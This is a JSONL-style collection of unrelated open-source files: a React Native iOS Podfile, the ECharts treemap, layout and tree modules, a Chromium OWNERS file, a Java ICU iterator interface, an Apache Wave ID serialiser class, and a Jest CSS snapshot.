+{"text": "platform :ios, '9.0'\nrequire_relative '../node_modules/@react-native-community/cli-platform-ios/native_modules'\n\ntarget 'ModalExample' do\n  # Pods for ModalExample\n  pod 'FBLazyVector', :path => \"../node_modules/react-native/Libraries/FBLazyVector\"\n  pod 'FBReactNativeSpec', :path => \"../node_modules/react-native/Libraries/FBReactNativeSpec\"\n  pod 'RCTRequired', :path => \"../node_modules/react-native/Libraries/RCTRequired\"\n  pod 'RCTTypeSafety', :path => \"../node_modules/react-native/Libraries/TypeSafety\"\n  pod 'React', :path => '../node_modules/react-native/'\n  pod 'React-Core', :path => '../node_modules/react-native/'\n  pod 'React-CoreModules', :path => '../node_modules/react-native/React/CoreModules'\n  pod 'React-Core/DevSupport', :path => '../node_modules/react-native/'\n  pod 'React-RCTActionSheet', :path => '../node_modules/react-native/Libraries/ActionSheetIOS'\n  pod 'React-RCTAnimation', :path => '../node_modules/react-native/Libraries/NativeAnimation'\n  pod 'React-RCTBlob', :path => '../node_modules/react-native/Libraries/Blob'\n  pod 'React-RCTImage', :path => '../node_modules/react-native/Libraries/Image'\n  pod 'React-RCTLinking', :path => '../node_modules/react-native/Libraries/LinkingIOS'\n  pod 'React-RCTNetwork', :path => '../node_modules/react-native/Libraries/Network'\n  pod 'React-RCTSettings', :path => '../node_modules/react-native/Libraries/Settings'\n  pod 'React-RCTText', :path => '../node_modules/react-native/Libraries/Text'\n  pod 'React-RCTVibration', :path => '../node_modules/react-native/Libraries/Vibration'\n  pod 'React-Core/RCTWebSocket', :path => '../node_modules/react-native/'\n\n  pod 'React-cxxreact', :path => '../node_modules/react-native/ReactCommon/cxxreact'\n  pod 'React-jsi', :path => '../node_modules/react-native/ReactCommon/jsi'\n  pod 'React-jsiexecutor', :path => '../node_modules/react-native/ReactCommon/jsiexecutor'\n  pod 'React-jsinspector', :path => '../node_modules/react-native/ReactCommon/jsinspector'\n  pod 'ReactCommon/jscallinvoker', :path => \"../node_modules/react-native/ReactCommon\"\n  pod 'ReactCommon/turbomodule/core', :path => \"../node_modules/react-native/ReactCommon\"\n  pod 'Yoga', :path => '../node_modules/react-native/ReactCommon/yoga'\n\n  pod 'DoubleConversion', :podspec => '../node_modules/react-native/third-party-podspecs/DoubleConversion.podspec'\n  pod 'glog', :podspec => '../node_modules/react-native/third-party-podspecs/glog.podspec'\n  pod 'Folly', :podspec => '../node_modules/react-native/third-party-podspecs/Folly.podspec'\n\n  target 'ModalExampleTests' do\n    inherit! :search_paths\n    # Pods for testing\n  end\n\n  use_native_modules!\nend\n\ntarget 'ModalExample-tvOS' do\n  # Pods for ModalExample-tvOS\n\n  target 'ModalExample-tvOSTests' do\n    inherit! :search_paths\n    # Pods for testing\n  end\n\nend\n"}
+{"text": "define('echarts/chart/treemap', [\n    'require',\n    './base',\n    'zrender/tool/area',\n    'zrender/shape/Rectangle',\n    'zrender/shape/Text',\n    'zrender/shape/Line',\n    '../layout/TreeMap',\n    '../data/Tree',\n    '../config',\n    '../util/ecData',\n    'zrender/config',\n    'zrender/tool/event',\n    'zrender/tool/util',\n    'zrender/tool/color',\n    '../chart'\n], function (require) {\n    var ChartBase = require('./base');\n    var toolArea = require('zrender/tool/area');\n    var RectangleShape = require('zrender/shape/Rectangle');\n    var TextShape = require('zrender/shape/Text');\n    var LineShape = require('zrender/shape/Line');\n    var TreeMapLayout = require('../layout/TreeMap');\n    var Tree = require('../data/Tree');\n    var ecConfig = require('../config');\n    ecConfig.treemap = {\n        zlevel: 0,\n        z: 1,\n        calculable: false,\n        clickable: true,\n        center: [\n            '50%',\n            '50%'\n        ],\n        size: [\n            '80%',\n            '80%'\n        ],\n        root: '',\n        itemStyle: {\n            normal: {\n                label: {\n                    show: true,\n                    x: 5,\n                    y: 12,\n                    textStyle: {\n                        align: 'left',\n                        color: '#000',\n                        fontFamily: 'Arial',\n                        fontSize: 13,\n                        fontStyle: 'normal',\n                        fontWeight: 'normal'\n                    }\n                },\n                breadcrumb: {\n                    show: true,\n                    textStyle: {}\n                },\n                borderWidth: 1,\n                borderColor: '#ccc',\n                childBorderWidth: 1,\n                childBorderColor: '#ccc'\n            },\n            emphasis: {}\n        }\n    };\n    var ecData = require('../util/ecData');\n    var zrConfig = require('zrender/config');\n    var zrEvent = require('zrender/tool/event');\n    var zrUtil = require('zrender/tool/util');\n    var zrColor = require('zrender/tool/color');\n    function Treemap(ecTheme, messageCenter, zr, option, myChart) {\n        ChartBase.call(this, ecTheme, messageCenter, zr, option, myChart);\n        this.refresh(option);\n        var self = this;\n        self._onclick = function (params) {\n            return self.__onclick(params);\n        };\n        self.zr.on(zrConfig.EVENT.CLICK, self._onclick);\n    }\n    Treemap.prototype = {\n        type: ecConfig.CHART_TYPE_TREEMAP,\n        refresh: function (newOption) {\n            this.clear();\n            if (newOption) {\n                this.option = newOption;\n                this.series = this.option.series;\n            }\n            this._treesMap = {};\n            var series = this.series;\n            var legend = this.component.legend;\n            for (var i = 0; i < series.length; i++) {\n                if (series[i].type === ecConfig.CHART_TYPE_TREEMAP) {\n                    series[i] = this.reformOption(series[i]);\n                    var seriesName = series[i].name || '';\n                    this.selectedMap[seriesName] = legend ? legend.isSelected(seriesName) : true;\n                    if (!this.selectedMap[seriesName]) {\n                        continue;\n                    }\n                    this._buildSeries(series[i], i);\n                }\n            }\n        },\n        _buildSeries: function (series, seriesIndex) {\n            var tree = Tree.fromOptionData(series.name, series.data);\n            this._treesMap[seriesIndex] = tree;\n            var treeRoot = series.root && tree.getNodeById(series.root) || tree.root;\n            this._buildTreemap(treeRoot, seriesIndex);\n        },\n        _buildTreemap: function (treeRoot, seriesIndex) {\n            var shapeList = this.shapeList;\n            for (var i = 0; i < shapeList.length;) {\n                var shape = shapeList[i];\n                if (ecData.get(shape, 'seriesIndex') === seriesIndex) {\n                    this.zr.delShape(shapeList[i]);\n                    shapeList.splice(i, 1);\n                } else {\n                    i++;\n                }\n            }\n            var currentShapeLen = shapeList.length;\n            var series = this.series[seriesIndex];\n            var itemStyle = series.itemStyle;\n            var treemapWidth = this.parsePercent(series.size[0], this.zr.getWidth()) || 400;\n            var treemapHeight = this.parsePercent(series.size[1], this.zr.getHeight()) || 500;\n            var center = this.parseCenter(this.zr, series.center);\n            var treemapX = center[0] - treemapWidth * 0.5;\n            var treemapY = center[1] - treemapHeight * 0.5;\n            var treemapArea = treemapWidth * treemapHeight;\n            var sum = 0;\n            var areaArr = [];\n            var children = treeRoot.children;\n            for (var i = 0; i < children.length; i++) {\n                sum += children[i].data.value;\n            }\n            for (var j = 0; j < children.length; j++) {\n                areaArr.push(children[j].data.value * treemapArea / sum);\n            }\n            var treeMapLayout = new TreeMapLayout({\n                x: treemapX,\n                y: treemapY,\n                width: treemapWidth,\n                height: treemapHeight\n            });\n            var locationArr = treeMapLayout.run(areaArr);\n            for (var k = 0; k < locationArr.length; k++) {\n                var dataItem = children[k].data;\n                var rect = locationArr[k];\n                var queryTarget = [\n                    dataItem.itemStyle,\n                    itemStyle\n                ];\n                var itemStyleMerged = this.deepMerge(queryTarget);\n                if (!itemStyleMerged.normal.color) {\n                    itemStyleMerged.normal.color = this.zr.getColor(k);\n                }\n                if (!itemStyleMerged.emphasis.color) {\n                    itemStyleMerged.emphasis.color = itemStyleMerged.normal.color;\n                }\n                this._buildItem(dataItem, itemStyleMerged, rect, seriesIndex, k);\n                if (dataItem.children) {\n                    this._buildChildrenTreemap(dataItem.children, itemStyleMerged, rect, seriesIndex);\n                }\n            }\n            if (this.query(series, 'itemStyle.normal.breadcrumb.show')) {\n                this._buildBreadcrumb(treeRoot, seriesIndex, treemapX, treemapY + treemapHeight);\n            }\n            for (var i = currentShapeLen; i < shapeList.length; i++) {\n                this.zr.addShape(shapeList[i]);\n            }\n        },\n        _buildItem: function (dataItem, itemStyle, rect, seriesIndex, dataIndex) {\n            var series = this.series;\n            var rectangle = this.getRectangle(dataItem, itemStyle, rect);\n            ecData.pack(rectangle, series[seriesIndex], seriesIndex, dataItem, dataIndex, dataItem.name);\n            this.shapeList.push(rectangle);\n        },\n        getRectangle: function (dataItem, itemStyle, rect) {\n            var emphasis = itemStyle.emphasis;\n            var normal = itemStyle.normal;\n            var textShape = this.getLabel(itemStyle, rect, dataItem.name, dataItem.value);\n            var hoverable = this.option.hoverable;\n            var rectangleShape = {\n                zlevel: this.getZlevelBase(),\n                z: this.getZBase(),\n                hoverable: hoverable,\n                clickable: true,\n                style: zrUtil.merge({\n                    x: rect.x,\n                    y: rect.y,\n                    width: rect.width,\n                    height: rect.height,\n                    brushType: 'both',\n                    color: normal.color,\n                    lineWidth: normal.borderWidth,\n                    strokeColor: normal.borderColor\n                }, textShape.style, true),\n                highlightStyle: zrUtil.merge({\n                    color: emphasis.color,\n                    lineWidth: emphasis.borderWidth,\n                    strokeColor: emphasis.borderColor\n                }, textShape.highlightStyle, true)\n            };\n            return new RectangleShape(rectangleShape);\n        },\n        getLabel: function (itemStyle, rect, name, value) {\n            var normalTextStyle = itemStyle.normal.label.textStyle;\n            var queryTarget = [\n                itemStyle.emphasis.label.textStyle,\n                normalTextStyle\n            ];\n            var emphasisTextStyle = this.deepMerge(queryTarget);\n            var formatter = itemStyle.normal.label.formatter;\n            var text = this.getLabelText(name, value, formatter);\n            var textFont = this.getFont(normalTextStyle);\n            var textWidth = toolArea.getTextWidth(text, textFont);\n            var textHeight = toolArea.getTextHeight(text, textFont);\n            var emphasisFormatter = this.deepQuery([\n                itemStyle.emphasis,\n                itemStyle.normal\n            ], 'label.formatter');\n            var emphasisText = this.getLabelText(name, value, emphasisFormatter);\n            var emphasisTextFont = this.getFont(emphasisTextStyle);\n            var emphasisTextWidth = toolArea.getTextWidth(text, emphasisTextFont);\n            var emphasisTextHeight = toolArea.getTextHeight(text, emphasisTextFont);\n            if (!itemStyle.normal.label.show) {\n                text = '';\n            } else if (itemStyle.normal.label.x + textWidth > rect.width || itemStyle.normal.label.y + textHeight > rect.height) {\n                text = '';\n            }\n            if (!itemStyle.emphasis.label.show) {\n                emphasisText = '';\n            } else if (emphasisTextStyle.x + emphasisTextWidth > rect.width || emphasisTextStyle.y + emphasisTextHeight > rect.height) {\n                emphasisText = '';\n            }\n            var textShape = {\n                style: {\n                    textX: rect.x + itemStyle.normal.label.x,\n                    textY: rect.y + itemStyle.normal.label.y,\n                    text: text,\n                    textPosition: 'specific',\n                    textColor: normalTextStyle.color,\n                    textFont: textFont\n                },\n                highlightStyle: {\n                    textX: rect.x + itemStyle.emphasis.label.x,\n                    textY: rect.y + itemStyle.emphasis.label.y,\n                    text: emphasisText,\n                    textColor: emphasisTextStyle.color,\n                    textPosition: 'specific'\n                }\n            };\n            return textShape;\n        },\n        getLabelText: function (name, value, formatter) {\n            if (formatter) {\n                if (typeof formatter === 'function') {\n                    return formatter.call(this.myChart, name, value);\n                } else if (typeof formatter === 'string') {\n                    formatter = formatter.replace('{b}', '{b0}').replace('{c}', '{c0}');\n                    formatter = formatter.replace('{b0}', name).replace('{c0}', value);\n                    return formatter;\n                }\n            } else {\n                return name;\n            }\n        },\n        _buildChildrenTreemap: function (data, itemStyle, rect, seriesIndex) {\n            var treemapArea = rect.width * rect.height;\n            var sum = 0;\n            var areaArr = [];\n            for (var i = 0; i < data.length; i++) {\n                sum += data[i].value;\n            }\n            for (var j = 0; j < data.length; j++) {\n                areaArr.push(data[j].value * treemapArea / sum);\n            }\n            var treeMapLayout = new TreeMapLayout({\n                x: rect.x,\n                y: rect.y,\n                width: rect.width,\n                height: rect.height\n            });\n            var locationArr = treeMapLayout.run(areaArr);\n            var lineWidth = itemStyle.normal.childBorderWidth;\n            var lineColor = itemStyle.normal.childBorderColor;\n            for (var k = 0; k < locationArr.length; k++) {\n                var item = locationArr[k];\n                var lines = [];\n                if (rect.y.toFixed(2) !== item.y.toFixed(2)) {\n                    lines.push(this._getLine(item.x, item.y, item.x + item.width, item.y, lineWidth, lineColor));\n                }\n                if (rect.x.toFixed(2) !== item.x.toFixed(2)) {\n                    lines.push(this._getLine(item.x, item.y, item.x, item.y + item.height, lineWidth, lineColor));\n                }\n                if ((rect.y + rect.height).toFixed(2) !== (item.y + item.height).toFixed(2)) {\n                    lines.push(this._getLine(item.x, item.y + item.height, item.x + item.width, item.y + item.height, lineWidth, lineColor));\n                }\n                if ((rect.x + rect.width).toFixed(2) !== (item.x + item.width).toFixed(2)) {\n                    lines.push(this._getLine(item.x + item.width, item.y, item.x + item.width, item.y + item.height, lineWidth, lineColor));\n                }\n                for (var l = 0; l < lines.length; l++) {\n                    ecData.set(lines[l], 'seriesIndex', seriesIndex);\n                    this.shapeList.push(lines[l]);\n                }\n            }\n        },\n        _getLine: function (xStart, yStart, xEnd, yEnd, lineWidth, lineColor) {\n            var lineShape = {\n                zlevel: this.getZlevelBase(),\n                z: this.getZBase(),\n                hoverable: false,\n                style: {\n                    xStart: xStart,\n                    yStart: yStart,\n                    xEnd: xEnd,\n                    yEnd: yEnd,\n                    lineWidth: lineWidth,\n                    strokeColor: lineColor\n                }\n            };\n            return new LineShape(lineShape);\n        },\n        _buildBreadcrumb: function (treeRoot, seriesIndex, x, y) {\n            var stack = [];\n            var current = treeRoot;\n            while (current) {\n                stack.unshift(current.data.name);\n                current = current.parent;\n            }\n            var series = this.series[seriesIndex];\n            var textStyle = this.query(series, 'itemStyle.normal.breadcrumb.textStyle') || {};\n            var textEmphasisStyle = this.query(series, 'itemStyle.emphasis.breadcrumb.textStyle') || {};\n            var commonStyle = {\n                y: y + 10,\n                textBaseline: 'top',\n                textAlign: 'left',\n                color: textStyle.color,\n                textFont: this.getFont(textStyle)\n            };\n            var commonHighlightStyle = {\n                brushType: 'fill',\n                color: textEmphasisStyle.color || zrColor.lift(textStyle.color, -0.3),\n                textFont: this.getFont(textEmphasisStyle)\n            };\n            for (var i = 0; i < stack.length; i++) {\n                var textShape = new TextShape({\n                    zlevel: this.getZlevelBase(),\n                    z: this.getZBase(),\n                    style: zrUtil.merge({\n                        x: x,\n                        text: stack[i] + (stack.length - 1 - i ? ' > ' : '')\n                    }, commonStyle),\n                    clickable: true,\n                    highlightStyle: commonHighlightStyle\n                });\n                ecData.set(textShape, 'seriesIndex', seriesIndex);\n                ecData.set(textShape, 'name', stack[i]);\n                x += textShape.getRect(textShape.style).width;\n                this.shapeList.push(textShape);\n            }\n        },\n        __onclick: function (params) {\n            var target = params.target;\n            if (target) {\n                var seriesIndex = ecData.get(target, 'seriesIndex');\n                var name = ecData.get(target, 'name');\n                var tree = this._treesMap[seriesIndex];\n                var root = tree.getNodeById(name);\n                if (root && root.children.length) {\n                    this._buildTreemap(root, seriesIndex);\n                }\n            }\n        }\n    };\n    zrUtil.inherits(Treemap, ChartBase);\n    require('../chart').define('treemap', Treemap);\n    return Treemap;\n});define('echarts/layout/TreeMap', ['require'], function (require) {\n    function TreeMapLayout(opts) {\n        var row = {\n            x: opts.x,\n            y: opts.y,\n            width: opts.width,\n            height: opts.height\n        };\n        this.x = opts.x;\n        this.y = opts.y;\n        this.width = opts.width;\n        this.height = opts.height;\n    }\n    TreeMapLayout.prototype.run = function (areas) {\n        var out = [];\n        this._squarify(areas, {\n            x: this.x,\n            y: this.y,\n            width: this.width,\n            height: this.height\n        }, out);\n        return out;\n    };\n    TreeMapLayout.prototype._squarify = function (areas, row, out) {\n        var layoutDirection = 'VERTICAL';\n        var width = row.width;\n        var height = row.height;\n        if (row.width < row.height) {\n            layoutDirection = 'HORIZONTAL';\n            width = row.height;\n            height = row.width;\n        }\n        var shapeArr = this._getShapeListInAbstractRow(areas, width, height);\n        for (var i = 0; i < shapeArr.length; i++) {\n            shapeArr[i].x = 0;\n            shapeArr[i].y = 0;\n            for (var j = 0; j < i; j++) {\n                shapeArr[i].y += shapeArr[j].height;\n            }\n        }\n        var nextRow = {};\n        if (layoutDirection == 'VERTICAL') {\n            for (var k = 0; k < shapeArr.length; k++) {\n                out.push({\n                    x: shapeArr[k].x + row.x,\n                    y: shapeArr[k].y + row.y,\n                    width: shapeArr[k].width,\n                    height: shapeArr[k].height\n                });\n            }\n            nextRow = {\n                x: shapeArr[0].width + row.x,\n                y: row.y,\n                width: row.width - shapeArr[0].width,\n                height: row.height\n            };\n        } else {\n            for (var l = 0; l < shapeArr.length; l++) {\n                out.push({\n                    x: shapeArr[l].y + row.x,\n                    y: shapeArr[l].x + row.y,\n                    width: shapeArr[l].height,\n                    height: shapeArr[l].width\n                });\n            }\n            nextRow = {\n                x: row.x,\n                y: row.y + shapeArr[0].width,\n                width: row.width,\n                height: row.height - shapeArr[0].width\n            };\n        }\n        var nextAreaArr = areas.slice(shapeArr.length);\n        if (nextAreaArr.length === 0) {\n            return;\n        } else {\n            this._squarify(nextAreaArr, nextRow, out);\n        }\n    };\n    TreeMapLayout.prototype._getShapeListInAbstractRow = function (areas, width, height) {\n        if (areas.length === 1) {\n            return [{\n                    width: width,\n                    height: height\n                }];\n        }\n        for (var count = 1; count < areas.length; count++) {\n            var shapeArr0 = this._placeFixedNumberRectangles(areas.slice(0, count), width, height);\n            var shapeArr1 = this._placeFixedNumberRectangles(areas.slice(0, count + 1), width, height);\n            if (this._isFirstBetter(shapeArr0, shapeArr1)) {\n                return shapeArr0;\n            }\n        }\n    };\n    TreeMapLayout.prototype._placeFixedNumberRectangles = function (areaSubArr, width, height) {\n        var count = areaSubArr.length;\n        var shapeArr = [];\n        var sum = 0;\n        for (var i = 0; i < areaSubArr.length; i++) {\n            sum += areaSubArr[i];\n        }\n        var cellWidth = sum / height;\n        for (var j = 0; j < count; j++) {\n            var cellHeight = height * areaSubArr[j] / sum;\n            shapeArr.push({\n                width: cellWidth,\n                height: cellHeight\n            });\n        }\n        return shapeArr;\n    };\n    TreeMapLayout.prototype._isFirstBetter = function (shapeArr0, shapeArr1) {\n        var ratio0 = shapeArr0[0].height / shapeArr0[0].width;\n        ratio0 = ratio0 > 1 ? 1 / ratio0 : ratio0;\n        var ratio1 = shapeArr1[0].height / shapeArr1[0].width;\n        ratio1 = ratio1 > 1 ? 1 / ratio1 : ratio1;\n        if (Math.abs(ratio0 - 1) <= Math.abs(ratio1 - 1)) {\n            return true;\n        }\n        return false;\n    };\n    return TreeMapLayout;\n});define('echarts/data/Tree', [\n    'require',\n    'zrender/tool/util'\n], function (require) {\n    var zrUtil = require('zrender/tool/util');\n    function TreeNode(id, data) {\n        this.id = id;\n        this.depth = 0;\n        this.height = 0;\n        this.children = [];\n        this.parent = null;\n        this.data = data || null;\n    }\n    TreeNode.prototype.add = function (child) {\n        var children = this.children;\n        if (child.parent === this) {\n            return;\n        }\n        children.push(child);\n        child.parent = this;\n    };\n    TreeNode.prototype.remove = function (child) {\n        var children = this.children;\n        var idx = zrUtil.indexOf(children, child);\n        if (idx >= 0) {\n            children.splice(idx, 1);\n            child.parent = null;\n        }\n    };\n    TreeNode.prototype.traverse = function (cb, context) {\n        cb.call(context, this);\n        for (var i = 0; i < this.children.length; i++) {\n            this.children[i].traverse(cb, context);\n        }\n    };\n    TreeNode.prototype.updateDepthAndHeight = function (depth) {\n        var height = 0;\n        this.depth = depth;\n        for (var i = 0; i < this.children.length; i++) {\n            var child = this.children[i];\n            child.updateDepthAndHeight(depth + 1);\n            if (child.height > height) {\n                height = child.height;\n            }\n        }\n        this.height = height + 1;\n    };\n    TreeNode.prototype.getNodeById = function (id) {\n        if (this.id === id) {\n            return this;\n        }\n        for (var i = 0; i < this.children.length; i++) {\n            var res = this.children[i].getNodeById(id);\n            if (res) {\n                return res;\n            }\n        }\n    };\n    function Tree(id) {\n        this.root = new TreeNode(id);\n    }\n    Tree.prototype.traverse = function (cb, context) {\n        this.root.traverse(cb, context);\n    };\n    Tree.prototype.getSubTree = function (id) {\n        var root = this.getNodeById(id);\n        if (root) {\n            var tree = new Tree(root.id);\n            tree.root = root;\n            return tree;\n        }\n    };\n    Tree.prototype.getNodeById = function (id) {\n        return this.root.getNodeById(id);\n    };\n    Tree.fromOptionData = function (id, data) {\n        var tree = new Tree(id);\n        var rootNode = tree.root;\n        rootNode.data = {\n            name: id,\n            children: data\n        };\n        function buildHierarchy(dataNode, parentNode) {\n            var node = new TreeNode(dataNode.name, dataNode);\n            parentNode.add(node);\n            var children = dataNode.children;\n            if (children) {\n                for (var i = 0; i < children.length; i++) {\n                    buildHierarchy(children[i], node);\n                }\n            }\n        }\n        for (var i = 0; i < data.length; i++) {\n            buildHierarchy(data[i], rootNode);\n        }\n        tree.root.updateDepthAndHeight(0);\n        return tree;\n    };\n    Tree.fromGraph = function (graph) {\n        function buildHierarchy(root) {\n            var graphNode = graph.getNodeById(root.id);\n            for (var i = 0; i < graphNode.outEdges.length; i++) {\n                var edge = graphNode.outEdges[i];\n                var childTreeNode = treeNodesMap[edge.node2.id];\n                root.children.push(childTreeNode);\n                buildHierarchy(childTreeNode);\n            }\n        }\n        var treeMap = {};\n        var treeNodesMap = {};\n        for (var i = 0; i < graph.nodes.length; i++) {\n            var node = graph.nodes[i];\n            var treeNode;\n            if (node.inDegree() === 0) {\n                treeMap[node.id] = new Tree(node.id);\n                treeNode = treeMap[node.id].root;\n            } else {\n                treeNode = new TreeNode(node.id);\n            }\n            treeNode.data = node.data;\n            treeNodesMap[node.id] = treeNode;\n        }\n        var treeList = [];\n        for (var id in treeMap) {\n            buildHierarchy(treeMap[id].root);\n            treeMap[id].root.updateDepthAndHeight(0);\n            treeList.push(treeMap[id]);\n        }\n        return treeList;\n    };\n    return Tree;\n});"}
+{"text": "bzanotti@chromium.org\njlebel@chromium.org\nmsarda@chromium.org\n\n# COMPONENT: Services>SignIn\n\n# TEAM: ios-directory-owners@chromium.org\n# OS: iOS\n"}
+{"text": "/*\n * Portions Copyright 2005 Sun Microsystems, Inc.  All Rights Reserved.\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * This code is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License version 2 only, as\n * published by the Free Software Foundation.  Sun designates this\n * particular file as subject to the \"Classpath\" exception as provided\n * by Sun in the LICENSE file that accompanied this code.\n *\n * This code is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License\n * version 2 for more details (a copy is included in the LICENSE file that\n * accompanied this code).\n *\n * You should have received a copy of the GNU General Public License version\n * 2 along with this work; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n *\n * Please contact Sun Microsystems, Inc., 4150 Network Circle, Santa Clara,\n * CA 95054 USA or visit www.sun.com if you need additional information or\n * have any questions.\n */\n\n/*\n *******************************************************************************\n * (C) Copyright IBM Corp. 1996-2005 - All Rights Reserved                     *\n *                                                                             *\n * The original version of this source code and documentation is copyrighted   *\n * and owned by IBM, These materials are provided under terms of a License     *\n * Agreement between IBM and Sun. This technology is protected by multiple     *\n * US and International patents. This notice and attribution to IBM may not    *\n * to removed.                                                                 *\n *******************************************************************************\n */\n\npackage sun.text.normalizer;\n\n/**\n * 
    Interface for enabling iteration over sets of ,\n * where index is the sorted integer index in ascending order and value, its\n * associated integer value.
    \n * 
    The result for each iteration is the consecutive range of\n *  with the same value. Result is represented by\n *  where
    \n * 
      \n * 
    •  start is the starting integer of the result range\n * 
    •  limit is 1 after the maximum integer that follows start, such that\n *      all integers between start and (limit - 1), inclusive, have the same\n *      associated integer value.\n * 
    •  value is the integer value that all integers from start to (limit - 1)\n *      share in common.\n * 
    \n * 
    \n * Hence value(start) = value(start + 1) = .... = value(start + n) = .... =\n * value(limit - 1). However value(start -1) != value(start) and\n * value(limit) != value(start).\n * 
    \n * 
    Most implementations will be created by factory methods, such as the\n * character type iterator in UCharacter.getTypeIterator. See example below.\n * 
    \n * Example of use:
    \n * 
    \n * RangeValueIterator iterator = UCharacter.getTypeIterator();\n * RangeValueIterator.Element result = new RangeValueIterator.Element();\n * while (iterator.next(result)) {\n *     System.out.println(\"Codepoint \\\\u\" +\n *                        Integer.toHexString(result.start) +\n *                        \" to codepoint \\\\u\" +\n *                        Integer.toHexString(result.limit - 1) +\n *                        \" has the character type \" + result.value);\n * }\n * 
    \n * @author synwee\n * @stable ICU 2.6\n */\npublic interface RangeValueIterator\n{\n    // public inner class ---------------------------------------------\n\n    /**\n    * Return result wrapper for com.ibm.icu.util.RangeValueIterator.\n    * Stores the start and limit of the continous result range and the\n    * common value all integers between [start, limit - 1] has.\n    * @stable ICU 2.6\n    */\n    public class Element\n    {\n        // public data member ---------------------------------------------\n\n        /**\n        * Starting integer of the continuous result range that has the same\n        * value\n        * @stable ICU 2.6\n        */\n        public int start;\n        /**\n        * (End + 1) integer of continuous result range that has the same\n        * value\n        * @stable ICU 2.6\n        */\n        public int limit;\n        /**\n        * Gets the common value of the continous result range\n        * @stable ICU 2.6\n        */\n        public int value;\n\n        // public constructor --------------------------------------------\n\n        /**\n         * Empty default constructor to make javadoc happy\n         * @stable ICU 2.4\n         */\n        public Element()\n        {\n        }\n    }\n\n    // public methods -------------------------------------------------\n\n    /**\n    * 
    Gets the next maximal result range with a common value and returns\n    * true if we are not at the end of the iteration, false otherwise.
    \n    * 
    If the return boolean is a false, the contents of elements will not\n    * be updated.
    \n    * @param element for storing the result range and value\n    * @return true if we are not at the end of the iteration, false otherwise.\n    * @see Element\n    * @stable ICU 2.6\n    */\n    public boolean next(Element element);\n\n    /**\n    * Resets the iterator to the beginning of the iteration.\n    * @stable ICU 2.6\n    */\n    public void reset();\n}\n"}
+{"text": "/**\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements.  See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership.  The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License.  You may obtain a copy of the License at\n *\n *   http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied.  See the License for the\n * specific language governing permissions and limitations\n * under the License.\n */\n\npackage org.waveprotocol.wave.model.id;\n\n\n/**\n * General wavelet identifier encoder/decoder that decodes both modern and\n * legacy serialised identifiers, attempting the former first, and configurably\n * encodes to either the modern or legacy serialisation.\n *\n * @author anorth@google.com (Alex North)\n */\npublic class DualIdSerialiser implements IdSerialiser {\n\n  public static final DualIdSerialiser MODERN = new DualIdSerialiser(true);\n  public static final DualIdSerialiser LEGACY = new DualIdSerialiser(false);\n\n  private final boolean toModern;\n\n  /**\n   * Creates a new serialiser.\n   *\n   * @param toModern whether to serialise to modern or legacy form\n   */\n  private DualIdSerialiser(boolean toModern) {\n    this.toModern = toModern;\n  }\n\n  @Override\n  public String serialiseWaveId(WaveId id) {\n    return toModern ? ModernIdSerialiser.INSTANCE.serialiseWaveId(id)\n        : LegacyIdSerialiser.INSTANCE.serialiseWaveId(id);\n  }\n\n  @Override\n  public String serialiseWaveletId(WaveletId id) {\n    return toModern ? ModernIdSerialiser.INSTANCE.serialiseWaveletId(id)\n        : LegacyIdSerialiser.INSTANCE.serialiseWaveletId(id);\n  }\n\n  @Override\n  public String serialiseWaveletName(WaveletName name) {\n    return toModern ? ModernIdSerialiser.INSTANCE.serialiseWaveletName(name)\n        : LegacyIdSerialiser.INSTANCE.serialiseWaveletName(name);\n  }\n\n  @Override\n  public WaveId deserialiseWaveId(String serialisedForm) throws InvalidIdException {\n    try {\n      return ModernIdSerialiser.INSTANCE.deserialiseWaveId(serialisedForm);\n    } catch (InvalidIdException e) {\n      return LegacyIdSerialiser.INSTANCE.deserialiseWaveId(serialisedForm);\n    }\n  }\n\n  @Override\n  public WaveletId deserialiseWaveletId(String serialisedForm) throws InvalidIdException {\n    try {\n      return ModernIdSerialiser.INSTANCE.deserialiseWaveletId(serialisedForm);\n    } catch (InvalidIdException e) {\n      return LegacyIdSerialiser.INSTANCE.deserialiseWaveletId(serialisedForm);\n    }\n  }\n\n  @Override\n  public WaveletName deserialiseWaveletName(String serialisedForm) {\n    try {\n      return ModernIdSerialiser.INSTANCE.deserialiseWaveletName(serialisedForm);\n    } catch (InvalidIdException e) {\n      return LegacyIdSerialiser.INSTANCE.deserialiseWaveletName(serialisedForm);\n    }\n  }\n}\n"}
+{"text": "// Jest Snapshot v1, https://goo.gl/fbAQLP\n\nexports[`NotificationList should render with default styles 1`] = `\n.circuit-2 {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-flex-direction: column;\n  -ms-flex-direction: column;\n  flex-direction: column;\n  width: 400px;\n  max-width: 90vw;\n  max-width: calc(100vw - (24px * 2));\n}\n\n.circuit-2 > * {\n  margin-top: 16px;\n}\n\n.circuit-2 > *:first-child {\n  margin-top: 0;\n}\n\n@media (max-width:767px) {\n  .circuit-2 {\n    max-width: none;\n    width: 100%;\n  }\n}\n\n.circuit-0 {\n  background-color: #FFFFFF;\n  border-radius: 4px;\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-flex-direction: column;\n  -ms-flex-direction: column;\n  flex-direction: column;\n  -webkit-box-pack: justify;\n  -webkit-justify-content: space-between;\n  -ms-flex-pack: justify;\n  justify-content: space-between;\n  box-shadow: 0 0 0 1px rgba(12,15,20,0.07), 0 2px 2px 0 rgba(12,15,20,0.07),0 4px 4px 0 rgba(12,15,20,0.07);\n  padding: 16px 16px;\n}\n\n\n  \n    
    \n      This is a notification.\n    
    \n  \n\n`;\n"}
